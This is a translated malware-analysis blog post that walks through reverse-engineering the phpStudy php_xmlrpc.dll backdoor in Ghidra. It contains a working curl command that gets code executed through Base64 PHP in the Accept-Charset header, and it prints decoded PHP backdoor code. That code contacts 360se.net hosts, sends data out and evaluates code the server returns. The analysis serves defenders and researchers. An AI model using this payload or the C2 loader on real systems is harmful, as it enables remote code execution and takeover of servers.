Author: lu4nx @ know Chuangyu 404 active defense laboratory
Author blog: Using Ghidra to analyze the back door of phpStudy
Original link: https://paper.seebug.org/1058/
Several days have passed since this incident, and all those who responded have responded. Although many manufacturers and organizations have published analysis articles on the Internet, there are not many that record the analysis process. I just want to use Ghidra to analyze from the beginning to the end.
1 tools and platforms
Main tools:
- Kali Linux
- Ghidra 9.0.4
- 010Editor 9.0.2
Sample environment:
- Windows7
- phpStudy 20180211
2 analysis process
First install PhpStudy 20180211 in Windows 7 virtual machine, and then copy the directory after installation to Kali Linux.
According to the information disclosed on the Internet: the back door exists in the php_xmlrpc.dll file, which contains the keyword "eval". The MD5 of the file is c339482fd2b233fb0a55b629c0ea5d5.
So, first find the file with the back door:
lu4nx@lx-kali:/tmp/phpStudy$ find ./ -name php_xmlrpc.dll -exec md5sum {} \; 3d2c61ed73e9bb300b52a0555135f2f7 ./PHPTutorial/php/php-7.2.1-nts/ext/php_xmlrpc.dll 7c24d796e0ae34e665adcc6a1643e132 ./PHPTutorial/php/php-7.1.13-nts/ext/php_xmlrpc.dll 3ff4ac19000e141fef07b0af5c36a5a3 ./PHPTutorial/php/php-5.4.45-nts/ext/php_xmlrpc.dll c339482fd2b233fb0a555b629c0ea5d5 ./PHPTutorial/php/php-5.4.45/ext/php_xmlrpc.dll 5db2d02c6847f4b7e8b4c93b16bc8841 ./PHPTutorial/php/php-7.0.12-nts/ext/php_xmlrpc.dll 42701103137121d2a2afa7349c233437 ./PHPTutorial/php/php-5.3.29-nts/ext/php_xmlrpc.dll 0f7ad38e7a9857523dfbce4bce43a9e9 ./PHPTutorial/php/php-5.2.17/ext/php_xmlrpc.dll 149c62e8c2a1732f9f078a7d17baed00 ./PHPTutorial/php/php-5.5.38/ext/php_xmlrpc.dll fc118f661b45195afa02cbf9d2e57754 ./PHPTutorial/php/php-5.6.27-nts/ext/php_xmlrpc.dll
Copy the file. / phptutorial / PHP / php-5.4.45/ext/php xmlrpc.dll separately, and then confirm whether there is a back door:
lu4nx@lx-kali:/tmp/phpStudy$ strings ./PHPTutorial/php/php-5.4.45/ext/php_xmlrpc.dll | grep eval zend_eval_string @eval(%s('%s')); %s;@eval(%s('%s'));
From the above search results, you can see that there are three "eval" keywords in the file. Now use Ghidra to load the analysis.
Search in Ghidra: on the menu bar search > For Strings, press search in the pop-up menu, and then filter the eval string in the result filtering window, as shown in the figure:
As can be seen from the "Code" field of the result above, all three keywords are located in the Data section of the file. Select any one (I selected "@ eval(%s('% s');") and double-click it to jump to the address, and then check where the string has been referenced (right click, references > show references to address). The operation is as follows:
The results are as follows:
It can be seen that this data is used in the PUSH instruction, which should be a function call. Double click to jump to the assembly instruction, and then Ghidra will automatically convert the assembly code into higher-level pseudo code and present it in the decision window:
If you do not see the decision window, open it in the menu window > decision.
In the translated function fun F0, I found the three eval characters I searched earlier, indicating that there may be multiple backdoors in this function (of course, after a complete analysis, there are three backdoors).
Here's an insertion. Ghidra's ability to convert high-level code is worse than IDA's Hex rays decompiler plug-in, such as the code converted by ghidra:
puVar8 = local_19f; while (iVar5 != 0) { iVar5 = iVar5 + -1; *puVar8 = 0; puVar8 = puVar8 + 1; }
The translation in IDA is very intuitive:
memset(&v27, 0, 0xB0u);
There are also multiple logical judgments. IDA translates them as follows:
if (a && b){ ... }
What Ghidra translated was:
if (a) { if(b) { } }
However, reading with multi-level if nesting will often get lost. In a word, the code translated by Ghidra only knows what it is after repeated reading. It took me several hours to understand this kind of code.
2.1 back door of the first remote code execution
The first backdoor exists in this Code:
iVar5 = zend_hash_find(*(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4) + 0xd8, s__SERVER_1000ec9c,~uVar6,&local_14); if (iVar5 != -1) { uVar6 = 0xffffffff; pcVar9 = s_HTTP_ACCEPT_ENCODING_1000ec84; do { if (uVar6 == 0) break; uVar6 = uVar6 - 1; cVar1 = *pcVar9; pcVar9 = pcVar9 + 1; } while (cVar1 != '\0'); iVar5 = zend_hash_find(*(undefined4 *)*local_14,s_HTTP_ACCEPT_ENCODING_1000ec84,~uVar6,&local_28 ); if (iVar5 != -1) { pcVar9 = s_gzip,deflate_1000ec74; pbVar4 = *(byte **)*local_28; pbVar7 = pbVar4; do { bVar2 = *pbVar7; bVar11 = bVar2 < (byte)*pcVar9; if (bVar2 != *pcVar9) { LAB_10003303: iVar5 = (1 - (uint)bVar11) - (uint)(bVar11 != false); goto LAB_10003308; } if (bVar2 == 0) break; bVar2 = pbVar7[1]; bVar11 = bVar2 < ((byte *)pcVar9)[1]; if (bVar2 != ((byte *)pcVar9)[1]) goto LAB_10003303; pbVar7 = pbVar7 + 2; pcVar9 = (char *)((byte *)pcVar9 + 2); } while (bVar2 != 0); iVar5 = 0; LAB_10003308: if (iVar5 == 0) { uVar6 = 0xffffffff; pcVar9 = s__SERVER_1000ec9c; do { if (uVar6 == 0) break; uVar6 = uVar6 - 1; cVar1 = *pcVar9; pcVar9 = pcVar9 + 1; } while (cVar1 != '\0'); iVar5 = zend_hash_find(*(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4) + 0xd8,s__SERVER_1000ec9c,~uVar6,&local_14); if (iVar5 != -1) { uVar6 = 0xffffffff; pcVar9 = s_HTTP_ACCEPT_CHARSET_1000ec60; do { if (uVar6 == 0) break; uVar6 = uVar6 - 1; cVar1 = *pcVar9; pcVar9 = pcVar9 + 1; } while (cVar1 != '\0'); iVar5 = zend_hash_find(*(undefined4 *)*local_14,s_HTTP_ACCEPT_CHARSET_1000ec60,~uVar6, &local_1c); if (iVar5 != -1) { uVar6 = 0xffffffff; pcVar9 = *(char **)*local_1c; do { if (uVar6 == 0) break; uVar6 = uVar6 - 1; cVar1 = *pcVar9; pcVar9 = pcVar9 + 1; } while (cVar1 != '\0'); local_10 = FUN_100040b0((int)*(char **)*local_1c,~uVar6 - 1); if (local_10 != (undefined4 *)0x0) { iVar5 = *(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4); local_24 = *(undefined4 *)(iVar5 + 0x128); *(undefined **)(iVar5 + 0x128) = local_ec; iVar5 = _setjmp3(local_ec,0); uVar3 = local_24; if (iVar5 == 0) { zend_eval_string(local_10,0,&DAT_10012884,param_3); } else { *(undefined4 *) (*(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4) + 0x128) = local_24; } *(undefined4 *) (*(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4) + 0x128) = uVar3; } } } } } }
It's very complicated to read. The logic is to find the $$SERVER variable through PHP's zend_hash_find function, and then find two HTTP request headers: accept encoding and accept charset. If the value of accept encoding is gzip and deflate, then call zend_eval_string to execute the content of accept encoding:
zend_eval_string(local_10,0,&DAT_10012884,param_3);
Here Zend? Eval? String executes the contents of the local? 10 variable, which is assigned by calling a function:
local_10 = FUN_100040b0((int)*(char **)*local_1c,~uVar6 - 1);
The function fun B0 is finally analyzed to do Base64 decoding.
Now you know how to construct a Payload:
Accept-Encoding: gzip,deflate Accept-Charset: Base64 Encrypted PHP Code
Construct a request to the virtual machine:
$ curl -H "Accept-Charset: $(echo 'system("ipconfig");' | base64)" -H 'Accept-Encoding: gzip,deflate' 192.168.128.6
The results are as follows:
2.2 second back door
Continue to analyze the pseudo code and see this Code:
if (iVar5 == 0) { puVar8 = &DAT_1000d66c; local_8 = &DAT_10012884; piVar10 = &DAT_1000d66c; do { if (*piVar10 == 0x27) { (&DAT_10012884)[iVar5] = 0x5c; (&DAT_10012885)[iVar5] = *(undefined *)puVar8; iVar5 = iVar5 + 2; piVar10 = piVar10 + 2; } else { (&DAT_10012884)[iVar5] = *(undefined *)puVar8; iVar5 = iVar5 + 1; piVar10 = piVar10 + 1; } puVar8 = puVar8 + 1; } while ((int)puVar8 < 0x1000e5c4); spprintf(&local_20,0,s_$V='%s';$M='%s';_1000ec3c,&DAT_100127b8,&DAT_10012784); spprintf(&local_8,0,s_%s;@eval(%s('%s'));_1000ec28,local_20,s_gzuncompress_1000d018, local_8); iVar5 = *(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4); local_10 = *(undefined4 **)(iVar5 + 0x128); *(undefined **)(iVar5 + 0x128) = local_6c; iVar5 = _setjmp3(local_6c,0); uVar3 = local_10; if (iVar5 == 0) { zend_eval_string(local_8,0,&DAT_10012884,param_3); } else { *(undefined4 **) (*(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4) + 0x128) = local_10; } *(undefined4 *)(*(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4) + 0x128) = uVar3; return 0; }
Focus on this paragraph:
puVar8 = &DAT_1000d66c; local_8 = &DAT_10012884; piVar10 = &DAT_1000d66c; do { if (*piVar10 == 0x27) { (&DAT_10012884)[iVar5] = 0x5c; (&DAT_10012885)[iVar5] = *(undefined *)puVar8; iVar5 = iVar5 + 2; piVar10 = piVar10 + 2; } else { (&DAT_10012884)[iVar5] = *(undefined *)puVar8; iVar5 = iVar5 + 1; piVar10 = piVar10 + 1; } puVar8 = puVar8 + 1; } while ((int)puVar8 < 0x1000e5c4);
The variable puVar8 is used as the cumulative variable. This code is like copying the data between the address 0x1000d66c and 0x1000e5c4. Select and cut this line of code:
puVar8 = &DAT_1000d66c;
Double click dat d66c, Ghidra will automatically jump to the address, and then select Window > bytes in the menu to open the hex window, which is now at the address 0x1000d66c. Next, copy the data between 0x1000d66c and 0x1000e5c4:
- Select > bytes;
- Check "To Address" in the pop-up window, and fill in 0x1000e5c4 in "Ending Address" on the right, as shown in the figure:
After pressing enter, the data has been selected. I will copy them separately. Right click and select Copy special > byte string (no spaces), as shown in the following figure:
Then open the 010Editor editor:
- New file: File > New > New hex file;
- Paste the copied hex data: Edit > paste from > paste from hex text
Then, remove all the "00" bytes, select search > Replace, search for 00, do not fill in the replacement, click "Replace All", and the processing is as follows:
Save the processed file as p1. Through the file command, we know that the file p1 is Zlib compressed data:
$ file p1 p1: zlib compressed data
You can use the zlib Library of Python to unzip. The unzip code is as follows:
import zlib with open("p1", "rb") as f: data = f.read() print(zlib.decompress(data))
The results are as follows:
lu4nx@lx-kali:/tmp$ python3 decom.py b"$i='info^_^'.base64_encode($V.'<|>'.$M.'<|>').'==END==';$zzz='-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------';@eval(base64_decode('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpOwplcnJvcl9yZXBvcnRpbmcoMCk7CmZ1bmN0aW9uIHRjcEdldCgkc2VuZE1zZyA9ICcnLCAkaXAgPSAnMzYwc2UubmV0JywgJHBvcnQgPSAnMjAxMjMnKXsKCSRyZXN1bHQgPSAiIjsKICAkaGFuZGxlID0gc3RyZWFtX3NvY2tldF9jbGllbnQoInRjcDovL3skaXB9OnskcG9ydH0iLCAkZXJybm8sICRlcnJzdHIsMTApOyAKICBpZiggISRoYW5kbGUgKXsKICAgICRoYW5kbGUgPSBmc29ja29wZW4oJGlwLCBpbnR2YWwoJHBvcnQpLCAkZXJybm8sICRlcnJzdHIsIDUpOwoJaWYoICEkaGFuZGxlICl7CgkJcmV0dXJuICJlcnIiOwoJfQogIH0KICBmd3JpdGUoJGhhbmRsZSwgJHNlbmRNc2cuIlxuIik7Cgl3aGlsZSghZmVvZigkaGFuZGxlKSl7CgkJc3RyZWFtX3NldF90aW1lb3V0KCRoYW5kbGUsIDIpOwoJCSRyZXN1bHQgLj0gZnJlYWQoJGhhbmRsZSwgMTAyNCk7CgkJJGluZm8gPSBzdHJlYW1fZ2V0X21ldGFfZGF0YSgkaGFuZGxlKTsKCQlpZiAoJGluZm9bJ3RpbWVkX291dCddKSB7CgkJICBicmVhazsKCQl9CgkgfQogIGZjbG9zZSgkaGFuZGxlKTsgCiAgcmV0dXJuICRyZXN1bHQ7IAp9CgokZHMgPSBhcnJheSgid3d3IiwiYmJzIiwiY21zIiwiZG93biIsInVwIiwiZmlsZSIsImZ0cCIpOwokcHMgPSBhcnJheSgiMjAxMjMiLCI0MDEyNSIsIjgwODAiLCI4MCIsIjUzIik7CiRuID0gZmFsc2U7CmRvIHsKCSRuID0gZmFsc2U7Cglmb3JlYWNoICgkZHMgYXMgJGQpewoJCSRiID0gZmFsc2U7CgkJZm9yZWFjaCAoJHBzIGFzICRwKXsKCQkJJHJlc3VsdCA9IHRjcEdldCgkaSwkZC4iLjM2MHNlLm5ldCIsJHApOyAKCQkJaWYgKCRyZXN1bHQgIT0gImVyciIpewoJCQkJJGIgPXRydWU7CgkJCQlicmVhazsKCQkJfQoJCX0KCQlpZiAoJGIpYnJlYWs7Cgl9CgkkaW5mbyA9IGV4cGxvZGUoIjxePiIsJHJlc3VsdCk7CglpZiAoY291bnQoJGluZm8pPT00KXsKCQlpZiAoc3RycG9zKCRpbmZvWzNdLCIvKk9uZW1vcmUqLyIpICE9PSBmYWxzZSl7CgkJCSRpbmZvWzNdID0gc3RyX3JlcGxhY2UoIi8qT25lbW9yZSovIiwiIiwkaW5mb1szXSk7CgkJCSRuPXRydWU7CgkJfQoJCUBldmFsKGJhc2U2NF9kZWNvZGUoJGluZm9bM10pKTsKCX0KfXdoaWxlKCRuKTs='));"
Use the base64 command to decrypt the base64 code. The process and results are as follows:
lu4nx@lx-kali:/tmp$ echo 'QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpOwplcnJvcl9yZXBvcnRpbmcoMCk7CmZ1bmN0aW9uIHRjcEdldCgkc2VuZE1zZyA9ICcnLCAkaXAgPSAnMzYwc2UubmV0JywgJHBvcnQgPSAnMjAxMjMnKXsKCSRyZXN1bHQgPSAiIjsKICAkaGFuZGxlID0gc3RyZWFtX3NvY2tldF9jbGllbnQoInRjcDovL3skaXB9OnskcG9ydH0iLCAkZXJybm8sICRlcnJzdHIsMTApOyAKICBpZiggISRoYW5kbGUgKXsKICAgICRoYW5kbGUgPSBmc29ja29wZW4oJGlwLCBpbnR2YWwoJHBvcnQpLCAkZXJybm8sICRlcnJzdHIsIDUpOwoJaWYoICEkaGFuZGxlICl7CgkJcmV0dXJuICJlcnIiOwoJfQogIH0KICBmd3JpdGUoJGhhbmRsZSwgJHNlbmRNc2cuIlxuIik7Cgl3aGlsZSghZmVvZigkaGFuZGxlKSl7CgkJc3RyZWFtX3NldF90aW1lb3V0KCRoYW5kbGUsIDIpOwoJCSRyZXN1bHQgLj0gZnJlYWQoJGhhbmRsZSwgMTAyNCk7CgkJJGluZm8gPSBzdHJlYW1fZ2V0X21ldGFfZGF0YSgkaGFuZGxlKTsKCQlpZiAoJGluZm9bJ3RpbWVkX291dCddKSB7CgkJICBicmVhazsKCQl9CgkgfQogIGZjbG9zZSgkaGFuZGxlKTsgCiAgcmV0dXJuICRyZXN1bHQ7IAp9CgokZHMgPSBhcnJheSgid3d3IiwiYmJzIiwiY21zIiwiZG93biIsInVwIiwiZmlsZSIsImZ0cCIpOwokcHMgPSBhcnJheSgiMjAxMjMiLCI0MDEyNSIsIjgwODAiLCI4MCIsIjUzIik7CiRuID0gZmFsc2U7CmRvIHsKCSRuID0gZmFsc2U7Cglmb3JlYWNoICgkZHMgYXMgJGQpewoJCSRiID0gZmFsc2U7CgkJZm9yZWFjaCAoJHBzIGFzICRwKXsKCQkJJHJlc3VsdCA9IHRjcEdldCgkaSwkZC4iLjM2MHNlLm5ldCIsJHApOyAKCQkJaWYgKCRyZXN1bHQgIT0gImVyciIpewoJCQkJJGIgPXRydWU7CgkJCQlicmVhazsKCQkJfQoJCX0KCQlpZiAoJGIpYnJlYWs7Cgl9CgkkaW5mbyA9IGV4cGxvZGUoIjxePiIsJHJlc3VsdCk7CglpZiAoY291bnQoJGluZm8pPT00KXsKCQlpZiAoc3RycG9zKCRpbmZvWzNdLCIvKk9uZW1vcmUqLyIpICE9PSBmYWxzZSl7CgkJCSRpbmZvWzNdID0gc3RyX3JlcGxhY2UoIi8qT25lbW9yZSovIiwiIiwkaW5mb1szXSk7CgkJCSRuPXRydWU7CgkJfQoJCUBldmFsKGJhc2U2NF9kZWNvZGUoJGluZm9bM10pKTsKCX0KfXdoaWxlKCRuKTs=' | base64 -d @ini_set("display_errors","0"); error_reporting(0); function tcpGet($sendMsg = '', $ip = '360se.net', $port = '20123'){ $result = ""; $handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10); if( !$handle ){ $handle = fsockopen($ip, intval($port), $errno, $errstr, 5); if( !$handle ){ return "err"; } } fwrite($handle, $sendMsg."\n"); while(!feof($handle)){ stream_set_timeout($handle, 2); $result .= fread($handle, 1024); $info = stream_get_meta_data($handle); if ($info['timed_out']) { break; } } fclose($handle); return $result; } $ds = array("www","bbs","cms","down","up","file","ftp"); $ps = array("20123","40125","8080","80","53"); $n = false; do { $n = false; foreach ($ds as $d){ $b = false; foreach ($ps as $p){ $result = tcpGet($i,$d.".360se.net",$p); if ($result != "err"){ $b =true; break; } } if ($b)break; } $info = explode("<^>",$result); if (count($info)==4){ if (strpos($info[3],"/*Onemore*/") !== false){ $info[3] = str_replace("/*Onemore*/","",$info[3]); $n=true; } @eval(base64_decode($info[3])); } }while($n);
2.3 third rear door
The third back door and the second implementation logic are basically the same. The code is as follows:
puVar8 = &DAT_1000d028; local_c = &DAT_10012884; iVar5 = 0; piVar10 = &DAT_1000d028; do { if (*piVar10 == 0x27) { (&DAT_10012884)[iVar5] = 0x5c; (&DAT_10012885)[iVar5] = *(undefined *)puVar8; iVar5 = iVar5 + 2; piVar10 = piVar10 + 2; } else { (&DAT_10012884)[iVar5] = *(undefined *)puVar8; iVar5 = iVar5 + 1; piVar10 = piVar10 + 1; } puVar8 = puVar8 + 1; } while ((int)puVar8 < 0x1000d66c); spprintf(&local_c,0,s_@eval(%s('%s'));_1000ec14,s_gzuncompress_1000d018,&DAT_10012884); iVar5 = *(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4); local_18 = *(undefined4 *)(iVar5 + 0x128); *(undefined **)(iVar5 + 0x128) = local_ac; iVar5 = _setjmp3(local_ac,0); uVar3 = local_18; if (iVar5 == 0) { zend_eval_string(local_c,0,&DAT_10012884,param_3); }
Focus on this paragraph:
puVar8 = &DAT_1000d028; local_c = &DAT_10012884; iVar5 = 0; piVar10 = &DAT_1000d028; do { if (*piVar10 == 0x27) { (&DAT_10012884)[iVar5] = 0x5c; (&DAT_10012885)[iVar5] = *(undefined *)puVar8; iVar5 = iVar5 + 2; piVar10 = piVar10 + 2; } else { (&DAT_10012884)[iVar5] = *(undefined *)puVar8; iVar5 = iVar5 + 1; piVar10 = piVar10 + 1; } puVar8 = puVar8 + 1; } while ((int)puVar8 < 0x1000d66c);
The backdoor code is in the address 0x1000d028~0x1000d66c. The extraction and processing method is the same as that of the second backdoor. Find and bring it up as follows:
lu4nx@lx-kali:/tmp$ python3 decom.py b" @eval( base64_decode('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpOwplcnJvcl9yZXBvcnRpbmcoMCk7CiRoID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOwokcCA9ICRfU0VSVkVSWydTRVJWRVJfUE9SVCddOwokZnAgPSBmc29ja29wZW4oJGgsICRwLCAkZXJybm8sICRlcnJzdHIsIDUpOwppZiAoISRmcCkgewp9IGVsc2UgewoJJG91dCA9ICJHRVQgeyRfU0VSVkVSWydTQ1JJUFRfTkFNRSddfSBIVFRQLzEuMVxyXG4iOwoJJG91dCAuPSAiSG9zdDogeyRofVxyXG4iOwoJJG91dCAuPSAiQWNjZXB0LUVuY29kaW5nOiBjb21wcmVzcyxnemlwXHJcbiI7Cgkkb3V0IC49ICJDb25uZWN0aW9uOiBDbG9zZVxyXG5cclxuIjsKIAoJZndyaXRlKCRmcCwgJG91dCk7CglmY2xvc2UoJGZwKTsKfQ=='));"
Decode this Base64 Code:
lu4nx@lx-kali:/tmp$ echo 'QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpOwplcnJvcl9yZXBvcnRpbmcoMCk7CiRoID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOwokcCA9ICRfU0VSVkVSWydTRVJWRVJfUE9SVCddOwokZnAgPSBmc29ja29wZW4oJGgsICRwLCAkZXJybm8sICRlcnJzdHIsIDUpOwppZiAoISRmcCkgewp9IGVsc2UgewoJJG91dCA9ICJHRVQgeyRfU0VSVkVSWydTQ1JJUFRfTkFNRSddfSBIVFRQLzEuMVxyXG4iOwoJJG91dCAuPSAiSG9zdDogeyRofVxyXG4iOwoJJG91dCAuPSAiQWNjZXB0LUVuY29kaW5nOiBjb21wcmVzcyxnemlwXHJcbiI7Cgkkb3V0IC49ICJDb25uZWN0aW9uOiBDbG9zZVxyXG5cclxuIjsKIAoJZndyaXRlKCRmcCwgJG91dCk7CglmY2xvc2UoJGZwKTsKfQ==' | base64 -d @ini_set("display_errors","0"); error_reporting(0); $h = $_SERVER['HTTP_HOST']; $p = $_SERVER['SERVER_PORT']; $fp = fsockopen($h, $p, $errno, $errstr, 5); if (!$fp) { } else { $out = "GET {$_SERVER['SCRIPT_NAME']} HTTP/1.1\r\n"; $out .= "Host: {$h}\r\n"; $out .= "Accept-Encoding: compress,gzip\r\n"; $out .= "Connection: Close\r\n\r\n"; fwrite($fp, $out); fclose($fp); }
3 reference
- https://github.com/jas502n/PHPStudy-Backdoor
- "phpStudy hacked and implanted in the back door event disclosure | micro step online report"
- Analysis of the back door of PhpStudy by Hcamael@Know Chuangyu 404 Laboratory